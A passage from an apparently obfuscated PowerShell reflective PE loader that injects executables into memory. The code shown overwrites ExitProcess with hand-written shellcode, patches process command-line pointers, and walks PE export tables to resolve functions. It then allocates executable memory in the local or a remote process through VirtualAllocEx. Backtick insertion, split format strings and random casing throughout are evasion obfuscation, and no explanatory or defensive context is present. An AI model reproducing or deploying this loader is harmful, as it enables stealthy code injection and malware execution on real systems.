  1959.                 ${NEWAC`MdL`NptR} =   (  &('GI')  VaRiable:MlhIT ).vAlUE::("{0}{3}{1}{2}" -f'St','ingToHG','lobalAnsi','r').Invoke(${EXe`ArGU`mEN`Ts})
  1960.                 ${NeW`W`cmdlNpTr} =   (&("{0}{2}{1}" -f'Ge','EM','t-it') ("va"+"riablE:m"+"LhI"+"T")  ).ValUe::("{2}{1}{3}{0}" -f'balUni','tringTo','S','HGlo').Invoke(${E`xEarGuMEn`Ts})
  1961.  
  1962.  
  1963.                 ${ORI`G`Acmd`LnpTr} =  $MlHIT::"pTRTOS`TrUc`T`UrE"(${a`C`MdlnAD`DR}, [Type][IntPtr])
  1964.                 ${O`RIgw`CmD`L`NptR} =   $MlhiT::"PT`Rt`OstRu`ctu`RE"(${w`Cm`dlN`ADDR}, [Type][IntPtr])
  1965.                 ${ORiGaCMd`LN`pTr`STOrA`ge} =  $MLhiT::("{2}{0}{1}" -f 'ocHGlob','al','All').Invoke(${Pt`RSI`ze})
  1966.                 ${ORIGwCmDL`NpTRS`TO`R`AGE} =   (&("{0}{1}{2}" -f 'get-chi','ldIt','eM')  vARIABLe:mlHiT).VaLuE::("{2}{0}{1}"-f'loba','l','AllocHG').Invoke(${P`TRsi`Ze})
  1967.                  (&("{2}{1}{0}" -f'aRiABLe','Et-V','G') ('MLhi'+'t')  ).valUE::("{2}{1}{0}" -f 'eToPtr','ctur','Stru').Invoke(${oRiG`Ac`md`Ln`Ptr}, ${o`RigaCMDL`N`PT`R`sTOrAGe}, ${fAl`Se})
  1968.                  (&("{1}{0}" -f 'ItEm','gET-') ('vaRIAbL'+'E:MlhI'+'T') ).vAlue::("{2}{1}{0}"-f'ructureToPtr','t','S').Invoke(${ORigW`CMDL`NptR}, ${O`R`iGw`CMDlNptRsTO`RaGE}, ${Fa`LSE})
  1969.                 ${R`Et`U`RNarrAY} += ,(${AcmD`l`NadDR}, ${O`Ri`gACmdLNptrSt`o`RAGE}, ${PT`R`Size})
  1970.                 ${R`EtuRn`A`RrAY} += ,(${Wc`M`dl`NAddr}, ${oRigwCMDlNPTRST`o`R`A`gE}, ${pt`R`SIZe})
  1971.  
  1972.                 ${Su`C`cess} = ${WI`N32f`Un`Ct`IONS}."vir`Tu`AlPRoT`ect"."INV`okE"(${acM`D`LNADDR}, [UInt32]${p`TRSI`Ze}, [UInt32](${w`iN`3`2CONStAntS}."PaGe_EXe`CU`Te_rEaDw`Ri`TE"), [Ref]${o`LD`p`Ro`TeCtFlaG})
  1973.                 if (${s`UC`CESs} = ${fa`lSe})
  1974.                 {
  1975.                     throw ("{8}{2}{1}{0}{7}{4}{3}{6}{5}"-f' VirtualProtec','o','l t','fail',' ','d','e','t','Cal')
  1976.                 }
  1977.                   $MLHit::("{1}{3}{2}{0}"-f 'eToPtr','S','ctur','tru').Invoke(${neWA`C`mdLnP`Tr}, ${A`CmDlnA`D`dr}, ${F`AL`SE})
  1978.                 ${wiN32`FuN`ct`ions}."VIRTuALpRoT`E`ct"."iN`Vo`ke"(${Ac`mDLN`AddR}, [UInt32]${ptRS`iZe}, [UInt32](${o`Ldp`RoTeC`TfLAg}), [Ref]${o`LDPR`ote`CTf`Lag}) | &("{1}{2}{0}" -f'l','Out','-Nul')
  1979.  
  1980.                 ${sUc`c`Ess} = ${w`I`N3`2fuN`ctIONS}."VirT`UaLPRO`Te`cT"."iNVO`KE"(${wcmD`LN`A`ddr}, [UInt32]${pT`RSIze}, [UInt32](${w`in32`cON`STANtS}."Pa`Ge_e`xe`C`Ute`_`ReADWrite"), [Ref]${o`L`dpROT`ec`TfLag})
  1981.                 if (${S`Uc`ceSs} = ${F`ALse})
  1982.                 {
  1983.                     throw ("{0}{1}{3}{2}{4}{6}{7}{5}"-f 'Call',' to','rtualPro',' Vi','te','led','ct ','fai')
  1984.                 }
  1985.                   $mLHIt::("{2}{1}{0}" -f'Ptr','tureTo','Struc').Invoke(${N`eWwc`mdL`Np`Tr}, ${WcmDLn`AD`DR}, ${f`Al`sE})
  1986.                 ${wI`N32fUnctI`ONS}."vIr`TUa`LprotE`ct"."inv`oKe"(${W`c`m`DLnadDr}, [UInt32]${p`TrsIzE}, [UInt32](${OLdP`ROtE`Ct`FlaG}), [Ref]${olDPRotEC`T`FL`AG}) | &("{0}{1}" -f'Out-Nul','l')
  1987.             }
  1988.         }
  1989.  
  1990.  
  1991.  
  1992.  
  1993.  
  1994.  
  1995.         ${r`etuR`NArr`Ay} = @()
  1996.         ${exiTFunC`T`ions} = @()
  1997.  
  1998.  
  1999.         [IntPtr]${MSCor`eEH`AN`dle} = ${wI`N3`2FU`NCT`IonS}."getm`o`d`Uleh`ANDLe"."In`VokE"(("{0}{2}{1}" -f 'msco','e.dll','re'))
  2000.         if (${MSc`oR`E`Eh`AnDle} -eq   $T2NgF::"ze`Ro")
  2001.         {
  2002.             throw ("{0}{2}{3}{1}"-f 'm','ree handle null','sc','o')
  2003.         }
  2004.         [IntPtr]${cO`R`E`x`itPR`OCe`sSaddR} = ${w`I`N32FuN`cTIo`NS}."ge`TProcA`dD`R`eSs"."iN`VOkE"(${mSCO`REE`h`AnDlE}, ("{2}{3}{1}{0}" -f 's','s','Co','rExitProce'))
  2005.         if (${CO`Re`x`ITpROCeS`sa`ddr} -eq  ( &("{1}{2}{0}"-f 'm','gET-','chILditE') ("V"+"arI"+"ABLe:t2"+"nGf")  ).value::"z`ErO")
  2006.         {
  2007.             Throw ("{9}{1}{6}{4}{0}{5}{7}{3}{8}{2}" -f 'ocess addr','Ex','d','ot f','tPr','e','i','ss n','oun','Cor')
  2008.         }
  2009.         ${EX`iTfu`Ncti`ONs} += ${COREX`itpRO`CEsSA`DDr}
  2010.  
  2011.  
  2012.         [IntPtr]${E`xiT`pr`OcEsSAD`Dr} = ${W`In32f`Unct`ioNs}."gE`TP`ROcADDrESS"."In`Vo`KE"(${Kernel`32`HanD`le}, ("{3}{0}{1}{2}" -f'tProc','e','ss','Exi'))
  2013.         if (${exi`T`pro`ceSSA`dDr} -eq  (  &("{1}{0}"-f 'IaBle','var') ('t2n'+'gf') -vaLuEoNlY)::"ZE`RO")
  2014.         {
  2015.             Throw ("{1}{5}{2}{0}{7}{6}{4}{3}" -f' not','ExitProces','ss','d','n','s addre','ou',' f')
  2016.         }
  2017.         ${exI`TF`U`NcTIONs} += ${E`xitp`RoC`eSSad`DR}
  2018.  
  2019.         [UInt32]${OLDproTe`C`TfL`AG} = 0
  2020.         foreach (${PROCExItf`U`N`ct`i`o`NADDR} in ${eX`ITfUNc`TIo`NS})
  2021.         {
  2022.             ${Pr`Oc`EXiTfunCt`ioN`A`ddrT`Mp} = ${PRoc`EXITfunC`TIo`Na`DDR}
  2023.  
  2024.  
  2025.             [Byte[]]${shE`lLcoD`e1} = @(0xbb)
  2026.             [Byte[]]${shEl`lCO`dE2} = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
  2027.  
  2028.             if (${p`T`RSIzE} -eq 8)
  2029.             {
  2030.                 [Byte[]]${shEllC`Od`E1} = @(0x48, 0xbb)
  2031.                 [Byte[]]${ShEL`LCo`de2} = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
  2032.             }
  2033.             [Byte[]]${Shel`L`Cod`E3} = @(0xff, 0xd3)
  2034.             ${T`otA`LS`IZE} = ${sHEl`LCO`DE1}."lENG`TH" + ${PT`Rsi`Ze} + ${she`ll`C`Ode2}."leng`Th" + ${pTRS`izE} + ${shEl`L`CoD`E3}."le`NGTh"
  2035.  
  2036.             [IntPtr]${E`xittHrEa`daddr} = ${WiN32`F`Un`CTiO`Ns}."gETPR`OC`A`DDrEsS"."inv`Oke"(${K`ERnEl3`2hA`Ndle}, ("{2}{1}{0}" -f'read','Th','Exit'))
  2037.             if (${Exit`THr`e`ADadDR} -eq  ( &("{1}{0}"-f'aRiablE','V')  ("t2NG"+"f")  ).VAlUE::"Ze`Ro")
  2038.             {
  2039.                 Throw ("{5}{2}{3}{1}{0}{4}{6}"-f'ess not ',' addr','itThr','ead','fou','Ex','nd')
  2040.             }
  2041.  
  2042.             ${suc`ce`SS} = ${wIN`32fU`N`CtioNS}."v`IrtuALpRO`TE`ct"."i`NVO`Ke"(${P`RoCExI`TfunctiONAd`dR}, [UInt32]${totAl`sI`Ze}, [UInt32]${WIN`32co`N`sTaNts}."pag`E_eXEc`UTE_REad`WRI`Te", [Ref]${Ol`DpRoT`e`ctf`lAG})
  2043.             if (${sUC`cE`SS} -eq ${F`Al`Se})
  2044.             {
  2045.                 Throw ("{3}{4}{5}{2}{1}{0}"-f'rotect failed','alP','irtu','C','a','ll to V')
  2046.             }
  2047.  
  2048.  
  2049.             ${EXi`TPRoC`es`So`RigByteSptR} =   $mlhit::("{1}{2}{0}{3}" -f'lob','Al','locHG','al').Invoke(${t`OtAL`s`ize})
  2050.             ${win`32FUnct`iONS}."ME`mcPy"."i`NV`OkE"(${eX`iT`PROCe`S`sOrIgbYTe`SpTR}, ${P`R`OCE`XiT`FuNCt`I`OnAddR}, [UInt64]${toTa`lS`i`zE}) | &("{1}{0}{2}"-f 'ut-N','O','ull')
  2051.             ${rEtU`R`NArray} += ,(${PROCE`X`ITf`U`N`CtiONaddR}, ${exIT`PRo`ceSSo`RIgBYT`ES`pTr}, ${tOta`ls`IzE})
  2052.  
  2053.  
  2054.  
  2055.             &("{1}{0}{3}{2}" -f'Byt','Write-','Memory','esTo') -Bytes ${SH`E`lLcode1} -MemoryAddress ${prOC`exITF`U`Nc`T`IonA`DDrtMP}
  2056.             ${Pr`oCE`xItF`Un`C`Tiona`DdrtMP} = &("{4}{0}{3}{1}{2}"-f'-Si','gn','ed','gnedIntAsUnsi','Add') ${PRoCEx`ItfUNct`I`On`A`dd`RT`mP} (${ShELL`Co`DE1}."L`e`NgTh")
  2057.              ( &("{2}{0}{3}{1}"-f'eT-v','E','G','arIABl') ("m"+"LhIt") -vAlUEO)::("{3}{2}{1}{4}{0}"-f'tr','uctureT','r','St','oP').Invoke(${Ex`Ed`one`Byt`ePTr}, ${pR`OceXI`T`Fun`CTIoNaDdr`T`MP}, ${f`A`lSE})
  2058.             ${P`RO`CEXItF`U`NCtIOnAddRTMp} = &("{2}{4}{3}{0}{1}"-f'tAsUns','igned','A','ignedIn','dd-S') ${pRO`CeXitF`UNctION`A`ddR`T`Mp} ${P`TrS`IZe}
  2059.             &("{3}{4}{1}{2}{0}"-f 'oMemory','s','T','Wr','ite-Byte') -Bytes ${s`HeL`LCOdE2} -MemoryAddress ${Pr`oce`x`iTfUN`ctiOnA`DD`RTmP}
  2060.             ${PR`oC`eXiTFuncTiona`DDRt`mP} = &("{5}{2}{1}{6}{3}{0}{4}" -f'nsi','I','gned','tAsU','gned','Add-Si','n') ${p`R`OcE`xIt`Fun`ctioNAddR`TmP} (${SheLL`COd`e2}."LeNg`TH")
  2061.               (  &('LS')  ('vaR'+'iAblE:mlH'+'It')  ).valUE::("{2}{4}{3}{1}{0}"-f 'reToPtr','u','S','ruct','t').Invoke(${Ex`iTTH`ReaDA`D`Dr}, ${proCexIT`F`U`N`CTIONAdd`RTmP}, ${Fa`L`se})
  2062.             ${pR`OC`e`xITFUncTionA`D`DRtmP} = &("{2}{3}{1}{4}{0}"-f'd','Unsi','Add-SignedIn','tAs','gne') ${p`R`oCexITFUnctiON`Add`R`TmP} ${PtR`SI`ze}
  2063.             &("{2}{3}{0}{1}"-f 'sTo','Memory','Write-','Byte') -Bytes ${Sh`E`llc`ode3} -MemoryAddress ${PR`OC`exIt`Fu`NC`TIo`NaddrT`Mp}
  2064.  
  2065.             ${W`in32`F`UNCtionS}."vI`RTuaL`PRo`T`ECt"."i`NV`OkE"(${p`RoCExitfu`NCtiO`NaDDr}, [UInt32]${tota`l`SIZE}, [UInt32]${O`LdpRoT`e`ctfl`Ag}, [Ref]${OL`DpR`OtE`ctflag}) | &("{1}{2}{0}" -f'll','Out-','Nu')
  2066.         }
  2067.  
  2068.  
  2069.         &("{0}{2}{1}"-f'Write-Ou','put','t') ${REtuRnA`R`R`Ay}
  2070.     }
  2071.  
  2072.  
  2073.  
  2074.  
  2075.     Function c`OpY-`ARRaYOFME`MA`d`Dr`ESses
  2076.     {
  2077.         Param(
  2078.         [Parameter(PoSItioN = 0, MANdaToRY = ${tR`UE})]
  2079.         [Array[]]
  2080.         ${co`pYin`Fo},
  2081.  
  2082.         [Parameter(PoSItION = 1, MANdATOry = ${TR`UE})]
  2083.         [System.Object]
  2084.         ${Win32F`UncTI`o`Ns},
  2085.  
  2086.         [Parameter(POSitIOn = 2, MAndAtory = ${T`RUe})]
  2087.         [System.Object]
  2088.         ${wI`N`32CON`STaN`Ts}
  2089.         )
  2090.  
  2091.         [UInt32]${O`l`d`proTECTFLaG} = 0
  2092.         foreach (${iN`FO} in ${cOp`yIn`FO})
  2093.         {
  2094.             ${Su`ccE`sS} = ${W`I`N32fun`cTi`OnS}."VIrTU`A`LprOtE`CT"."INvO`kE"(${I`Nfo}[0], [UInt32]${i`Nfo}[2], [UInt32]${wIn3`2`cON`Sta`NTS}."Pag`E_eXECu`TE`_rEADW`Rite", [Ref]${O`LDpRo`Tec`TfL`Ag})
  2095.             if (${s`Uc`cess} -eq ${fA`LsE})
  2096.             {
  2097.                 Throw ("{3}{5}{7}{6}{4}{2}{0}{1}"-f'le','d','ect fai','Ca','rot','ll to Virtu','P','al')
  2098.             }
  2099.  
  2100.             ${WIn32`FU`Nc`TiOns}."m`eM`CpY"."iNV`Oke"(${in`FO}[0], ${i`Nfo}[1], [UInt64]${I`NfO}[2]) | &("{1}{0}{2}"-f'ut','O','-Null')
  2101.  
  2102.             ${WIN32FuNcti`O`NS}."vi`RTU`ALpR`o`TECT"."inV`oke"(${in`Fo}[0], [UInt32]${iN`Fo}[2], [UInt32]${OLD`PRotecTf`LAG}, [Ref]${olDp`R`o`TecTFlAg}) | &("{1}{2}{0}"-f'ull','O','ut-N')
  2103.         }
  2104.     }
  2105.  
  2106.  
  2107.  
  2108.  
  2109.  
  2110.     Function g`E`T-`MEmORy`prOcaDDR`eSS
  2111.     {
  2112.         Param(
  2113.         [Parameter(PoSiTioN = 0, MandaTOry = ${tR`UE})]
  2114.         [IntPtr]
  2115.         ${PEhan`DLe},
  2116.  
  2117.         [Parameter(PoSiTIOn = 1, mANDatoRy = ${T`Rue})]
  2118.         [String]
  2119.         ${fuN`Ct`I`Onn`AmE}
  2120.         )
  2121.  
  2122.         ${Win`3`2typ`Es} = &("{2}{0}{3}{1}"-f't-Win','Types','Ge','32')
  2123.         ${WIN`32`cOnS`TaNTs} = &("{1}{2}{4}{3}{0}{5}"-f 'n','Get-Wi','n3','a','2Const','ts')
  2124.         ${PE`i`Nfo} = &("{1}{0}{3}{2}" -f'-PEDetai','Get','edInfo','l') -PEHandle ${PeH`ANDLe} -Win32Types ${Win3`2t`ypes} -Win32Constants ${Win`32COnSt`ANTS}
  2125.  
  2126.  
  2127.         if (${P`ei`NFO}."ImAGe_N`T_hea`DERS"."OPTi`ONAlh`eAD`ER"."EXPOR`T`T`AbLe"."S`IZe" -eq 0)
  2128.         {
  2129.             return  (  &("{1}{0}"-f 'iAblE','VAr')  T2Ngf  -vAlueOnl )::"ze`Ro"
  2130.         }
  2131.         ${E`x`PorTt`A`BleptR} = &("{2}{4}{1}{3}{5}{0}"-f'ed','dI','Add','ntAsUnsig','-Signe','n') (${PEH`A`NDLe}) (${PEI`NfO}."iMAg`e_NT_hEA`dE`RS"."OpTIONAlhE`AD`Er"."ExPO`R`TtaBLE"."vIr`T`UaLAdDR`esS")
  2132.         ${eX`pORtT`Ab`LE} =   (&('gi') vaRIabLE:MlHit ).VALue::"p`TRT`ostrUcTu`Re"(${eXPoRT`Ta`B`LEPtr}, [Type]${wIN3`2`Types}."im`Ag`E_`EXPorT_diR`ecTory")
  2133.  
  2134.         for (${i} = 0; ${i} -lt ${eX`Po`RTtAble}."nUMb`erO`F`Nam`ES"; ${i}++)
  2135.         {
  2136.  
  2137.             ${NA`meO`FFS`ETP`TR} = &("{2}{0}{1}{3}{4}" -f'ignedIntAsUn','s','Add-S','ig','ned') (${pe`Ha`Ndle}) (${EXpO`R`TTA`Ble}."AdDrE`S`SO`FNamEs" + (${I} *  $MlhiT::"S`izEOF"([Type][UInt32])))
  2138.             ${n`AMEPtr} = &("{6}{3}{0}{2}{4}{1}{7}{5}"-f'Int','nsi','A','ned','sU','d','Add-Sig','gne') (${p`eh`AN`DLE}) ( (  &("{0}{1}" -f 'Varia','BLE')  ('mL'+'HiT') ).VAlue::"pTr`To`STR`UC`TURE"(${Na`MEof`FS`ETPTr}, [Type][UInt32]))
  2139.             ${n`AMe} =   $MLhit::("{2}{1}{3}{4}{0}"-f 'gAnsi','T','Ptr','oSt','rin').Invoke(${nA`m`epTR})
  2140.  
  2141.             if (${NA`mE} -ceq ${F`UN`CTIo`Nn`AME})
  2142.             {
  2143.  
  2144.  
  2145.                 ${ORDI`NA`lpTr} = &("{2}{1}{3}{0}{4}" -f 'sign','-','Add','SignedIntAsUn','ed') (${Pe`H`AnDle}) (${ExP`Or`TTaBLE}."A`d`DrE`ss`Of`NAmEorDiN`ALS" + (${I} *   (&("{1}{0}{2}"-f 'Bl','VaRia','e') ("mLHi"+"T")  -VaL  )::"s`i`ZEof"([Type][UInt16])))
  2146.                 ${fUnC`I`NDex} =   $mLhIT::"p`Tr`TOS`TrUC`Ture"(${oRD`iN`Alp`Tr}, [Type][UInt16])
  2147.                 ${fun`Co`F`FSetADDr} = &("{2}{4}{3}{1}{0}" -f'ned','sUnsig','Add','IntA','-Signed') (${peh`A`NDlE}) (${e`xPor`TtA`BLE}."AD`d`R`eSS`OfFun`CTiONs" + (${fU`N`CINDEX} *   $mLHiT::"S`iZ`eOF"([Type][UInt32])))
  2148.                 ${fUNc`oF`FsET} =  (  &("{2}{1}{0}" -f 'teM','LDi','Get-CHI') variABle:MLhIT).vAluE::"PTRTo`s`TRuCtUrE"(${f`U`NC`oF`FsetaDDR}, [Type][UInt32])
  2149.                 return &("{0}{1}{5}{4}{2}{3}"-f 'Ad','d-','sig','ned','n','SignedIntAsU') (${PEHan`d`LE}) (${FUN`C`offseT})
  2150.             }
  2151.         }
  2152.  
  2153.         return  $t2ngf::"ZE`Ro"
  2154.     }
  2155.  
  2156.  
  2157.     Function inV`oke-MEMorY`L`oAdlIbr`ARY
  2158.     {
  2159.         Param(
  2160.         [Parameter( pOsITion = 0, MANdaTorY = ${T`RuE} )]
  2161.         [Byte[]]
  2162.         ${P`eby`TeS},
  2163.  
  2164.         [Parameter(POSITIon = 1, mANDAToRy = ${Fa`L`sE})]
  2165.         [String]
  2166.         ${eX`Ea`RGS},
  2167.  
  2168.         [Parameter(positiON = 2, manDAToRy = ${f`AlSe})]
  2169.         [IntPtr]
  2170.         ${ReMoT`eP`R`och`A`NdLE},
  2171.  
  2172.         [Parameter(PosItiON = 3)]
  2173.         [Bool]
  2174.         ${FoRC`e`AslR} = ${f`AlSE}
  2175.         )
  2176.  
  2177.         ${PT`RsIze} =  (  &("{2}{3}{1}{0}"-f 'riaBle','-vA','G','eT') ("MLHi"+"T")  -VAlueONL )::"s`Iz`eof"([Type][IntPtr])
  2178.  
  2179.  
  2180.         ${wiN`32CO`NSta`N`TS} = &("{3}{0}{2}{1}" -f 'n3','ts','2Constan','Get-Wi')
  2181.         ${win3`2F`UNC`TI`Ons} = &("{2}{1}{0}{3}"-f'Win32Funct','t-','Ge','ions')
  2182.         ${WIn3`2`TyP`es} = &("{2}{0}{1}"-f 'et','-Win32Types','G')
  2183.  
  2184.         ${REM`OteL`OAD`iNg} = ${f`ALse}
  2185.         if ((${r`e`moT`epROchANdle} -ne ${nU`lL}) -and (${remOT`eP`ROC`hAnD`le} -ne   $t2NGF::"zE`RO"))
  2186.         {
  2187.             ${R`E`MoTelOa`dI`NG} = ${t`RUE}
  2188.         }
  2189.  
  2190.  
  2191.         &("{2}{3}{1}{0}" -f'bose','-Ver','Wr','ite') ("{6}{7}{0}{4}{1}{5}{2}{3}"-f'nfor','a','the f','ile','m','tion from ','Getti','ng basic PE i')
  2192.         ${pei`N`Fo} = &("{3}{0}{1}{2}"-f't-PEBasi','cInf','o','Ge') -PEBytes ${Pe`ByT`es} -Win32Types ${WIN3`2t`Y`peS}
  2193.         ${ORIG`ina`LI`maG`Ebase} = ${Pe`I`NfO}."orI`GiNALI`m`AGE`B`AsE"
  2194.         ${N`xCOm`PaTibLe} = ${t`RUE}
  2195.         if (([Int] ${PE`i`NfO}."dL`lcHARaC`TE`RIsTics" -band ${W`i`N3`2COnSTan`TS}."i`ma`Ge_DLL`C`HArACTerIstics`_n`X_`CoM`Pat") -ne ${wi`N`32Co`Ns`TaNTS}."Im`AGE_dLlCH`ARAcT`eRI`sTic`s_NX_C`OMpAt")
  2196.         {
  2197.             &("{1}{0}{3}{2}" -f 'Warn','Write-','ng','i') ("{4}{6}{1}{5}{8}{12}{7}{13}{3}{0}{10}{9}{2}{11}"-f 'P, mig','is ','s',' DE','PE','not ',' ','it','compa','i','ht cause ','sues','tible w','h') -WarningAction ("{2}{0}{1}" -f 'nt','inue','Co')
  2198.             ${Nx`cOMPa`TIB`Le} = ${Fal`SE}
  2199.         }
  2200.  
  2201.  
  2202.  
  2203.         ${P`ROcEsS64`BIt} = ${TR`UE}
  2204.         if (${reMoTeLO`AD`i`Ng} -eq ${Tr`Ue})
  2205.         {
  2206.             ${KE`Rnel`32H`AndLe} = ${WI`N`32f`UnCTIOns}."gETMo`D`U`LEhaN`DLE"."i`NVo`ke"(("{1}{2}{3}{0}"-f 'l','k','ernel32.','dl'))
  2207.             ${rEs`ULt} = ${wi`N`32fuNC`TIOnS}."GETpr`OCa`d`D`RESs"."inv`oKE"(${K`eRN`el`3`2hANDlE}, ("{3}{1}{0}{2}" -f '64Pr','w','ocess','IsWo'))
  2208.             if (${RE`s`Ult} -eq   (&("{1}{0}" -f'tem','i') ('v'+'ARiA'+'b'+'lE:T2ngf') ).ValuE::"Ze`RO")
  2209.             {
  2210.                 Throw ((("{12}{2}{6}{9}{21}{15}{16}{7}{8}{18}{1}{13}{5}{0}{10}{19}{17}{14}{4}{11}{3}{20}"-f' targe','ermine ','0','o',' ','f','Zt ',' fu','nction to de','locate IsWow64','t ','32bit ','Couldni','i','s is','roces','s','roces','t','p','r 64bit','P'))  -CreplACE'i0Z',[Char]39)
  2211.             }
  2212.  
  2213.             [Bool]${WOW64pr`Oc`ess} = ${FAL`se}
  2214.             ${su`c`CEss} = ${Wi`N32`FU`NcT`ionS}."iswow`64`Pr`oCess"."i`N`VokE"(${remO`TEPr`oc`haNdLE}, [Ref]${w`oW64Pro`c`EsS})
  2215.             if (${S`UCc`ESS} -eq ${FAl`Se})
  2216.             {
  2217.                 Throw ("{4}{6}{8}{5}{3}{1}{2}{0}{7}"-f'ail','cess ','f','ro','Ca','64P','ll to','ed',' IsWow')
  2218.             }
  2219.  
  2220.             if ((${wOW64`PrOc`esS} -eq ${T`RuE}) -or ((${WOW64P`R`OCe`Ss} -eq ${Fa`LSE}) -and (  ( &("{0}{2}{1}" -f 'Get-vA','le','RIAB')  MlhiT -vAl  )::"S`izeOF"([Type][IntPtr]) -eq 4)))
  2221.             {
  2222.                 ${PROcEs`s64`B`It} = ${FAL`SE}
  2223.             }
  2224.  
  2225.  
  2226.             ${pO`WErS`h`eL`l64BIT} = ${tr`Ue}
  2227.             if (  (  &('Ls')  varIAblE:MlHiT).vaLuE::"SiZ`e`OF"([Type][IntPtr]) -ne 8)
  2228.             {
  2229.                 ${Po`W`erShELl64b`it} = ${F`A`LSe}
  2230.             }
  2231.             if (${Powe`RsHEL`L6`4bIT} -ne ${pR`O`Cess`64BIt})
  2232.             {
  2233.                 throw ("{17}{5}{11}{9}{7}{13}{10}{2}{18}{15}{12}{19}{14}{0}{3}{16}{4}{8}{1}{6}" -f ' b','s',' same','eing loaded and rem','te proc','She','s','ust ','e','l m','e','l','ecture (x86/x','b','4) as PE','hit','o','Power',' arc','6')
  2234.             }
  2235.         }
  2236.         else
  2237.         {
  2238.             if (  $MlHiT::"SI`ZeOf"([Type][IntPtr]) -ne 8)
  2239.             {
  2240.                 ${p`RO`C`ess64bit} = ${F`AL`SE}
  2241.             }
  2242.         }
  2243.         if (${p`Ro`C`es`s64bIT} -ne ${pE`iNFo}."P`e64`Bit")
  2244.         {
  2245.             Throw ((("{0}{14}{8}{11}{7}{2}{3}{9}{6}{4}{10}{1}{17}{12}{5}{15}{16}{13}" -f'PE pla','s','architectur','e ','s ','32/64b','oces','h the ','nvBmt m','of the pr','it i','atc','ng loaded in (',')','tform does','i','t',' bei'))  -replacE  ([CHAR]118+[CHAR]66+[CHAR]109),[CHAR]39)
  2246.         }
  2247.  
  2248.  
  2249.  
  2250.         &("{2}{0}{1}" -f 'rb','ose','Write-Ve') ("{0}{1}{3}{9}{6}{2}{8}{4}{5}{7}{10}" -f 'Allocating memory for',' ','d','the PE and writ','s ','t','ts hea','o memor','er','e i','y')
  2251.  
  2252.  
  2253.         [IntPtr]${L`oAd`AddR} =   ( &('gI')  VARIAblE:T2ngf ).value::"ZE`RO"
  2254.         ${PesUppORT`sA`SLr} = ([Int] ${p`E`iNFo}."d`lLCH`ARACTERis`TICs" -band ${W`iN3`2C`ON`StAntS}."ImAgE_`dLlChar`ACTerIS`Tics_`dY`N`AMIC_BaSE") -eq ${wIN`32con`Sta`NTS}."Im`AGE_DlLchaRaCtEr`IsTics_`Dyn`A`miC_bA`SE"
  2255.         if ((-not ${fO`RcEa`sLr}) -and (-not ${P`eSu`p`pOR`TsASLR}))
  2256.         {
  2257.             &("{2}{3}{0}{1}" -f 'rnin','g','Wr','ite-Wa') (("{11}{32}{18}{50}{46}{1}{4}{19}{14}{22}{0}{35}{23}{20}{33}{28}{24}{38}{10}{6}{34}{25}{42}{48}{40}{12}{2}{21}{47}{39}{49}{8}{37}{16}{5}{9}{3}{41}{43}{15}{29}{31}{7}{17}{27}{45}{44}{36}{13}{30}{26}"-f 'aded is','g refle',' r','i','cti',' and',' l','u','g PowerSh',' try',' the','P','s, try','could caus','y l',' again OR','ll','si','fi','vel',' ASLR ','e','o','t',' ','di','es)','ng the -Force','ble.',' try','e crash',' ','E ','compati','oa',' no','ag (','e','If','ti','il','n','ng','g','l','ASLR f',' bein','star',' fa','n','le')) -WarningAction ("{1}{0}{2}" -f'u','Contin','e')
  2258.             [IntPtr]${lOa`dA`D`DR} = ${oR`IG`InAL`I`Mag`ebaSe}
  2259.         }
  2260.         elseif (${For`Ce`AslR} -and (-not ${PeSUPP`oRtsA`SLR}))
  2261.         {
  2262.             &("{2}{1}{0}"-f 'e-Verbose','t','Wri') ((("{22}{13}{31}{18}{11}{28}{19}{5}{27}{10}{12}{7}{14}{24}{9}{8}{3}{17}{29}{1}{2}{0}{4}{25}{26}{20}{21}{6}{23}{15}{16}{30}"-f 'e PE','R on ','th','n',' fil','t AS',' r','AS','rci','. Fo','R but ','nWA8t s','-Force',' fil','LR ','t in',' a cra','g ','does','ppor',' c','ould','PE','esul','is set','e. ','This','L','u','ASL','sh.','e '))."RePLa`Ce"('WA8',[sTRING][ChAR]39))
  2263.         }
  2264.  
  2265.         if (${fOrC`ea`sLr} -and ${r`e`Mo`T`ElOAding})
  2266.         {
  2267.             &("{0}{3}{2}{1}" -f'W','Error','ite-','r') ("{4}{13}{0}{2}{11}{12}{3}{10}{7}{8}{9}{15}{1}{6}{5}{14}"-f'o','a r','r','L','Cannot','mote ','e','en l','oa','ding in','R wh','ce','AS',' use F','process.',' to ') -ErrorAction ("{1}{0}"-f 'p','Sto')
  2268.         }
  2269.         if (${reMO`TEL`OAdING} -and (-not ${pe`SUPPO`RTsA`S`lr}))
  2270.         {
  2271.             &("{3}{0}{2}{1}" -f'e-','rror','E','Writ') ((("{7}{8}{11}{1}{9}{0}{10}{13}{5}{6}{3}{4}{12}{2}"-f ' a non-ASL','port AS','ss','mo','te proc','a r','e','PE',' ','LR. Cannot load','R PE i','doesn{0}t sup','e','n to '))-f  [Char]39) -ErrorAction ("{0}{1}"-f'St','op')
  2272.         }
  2273.  
  2274.         ${p`E`HAndlE} =  (  &("{0}{2}{1}"-f 'Ge','bLE','T-VArIA')  ("T2nG"+"f") ).vaLUe::"Ze`Ro"
  2275.         ${ef`Fec`Ti`VepEhandle} =   $t2nGf::"Z`eRO"
  2276.         if (${rEMOTeLO`A`d`inG} -eq ${TR`UE})
  2277.         {
  2278.  
  2279.             ${PE`Han`dLE} = ${WIn`32`FU`Nc`TiONS}."VIRTu`AL`AlLOc"."i`N`VOKe"( $T2nGf::"ZE`Ro", [UIntPtr]${pEi`NfO}."s`IZeOfI`M`Age", ${wiN32Co`Ns`TAnTS}."M`eM_cOMm`it" -bor ${wiN`3`2`ConSTANts}."Me`m_rES`e`RvE", ${W`IN32co`NST`A`NTs}."p`A`GE_rEAD`wri`TE")
  2280.  
  2281.  
  2282.             ${ef`Fect`I`Ve`PEhANDlE} = ${Win32`FunCti`O`NS}."VI`RtUaLAL`L`OCEx"."InvO`Ke"(${re`mOTe`pRo`chaN`DLe}, ${L`oa`dadDr}, [UIntPtr]${PE`In`FO}."sIZEOF`I`maGe", ${wIN32Co`NstA`N`Ts}."mem`_cO`mmit" -bor ${W`In`32C`oNstAntS}."mE`m_`ReSErVE", ${w`in32c`onSta`N`TS}."Pag`e_EXecutE_Re`A`DWRiTe")
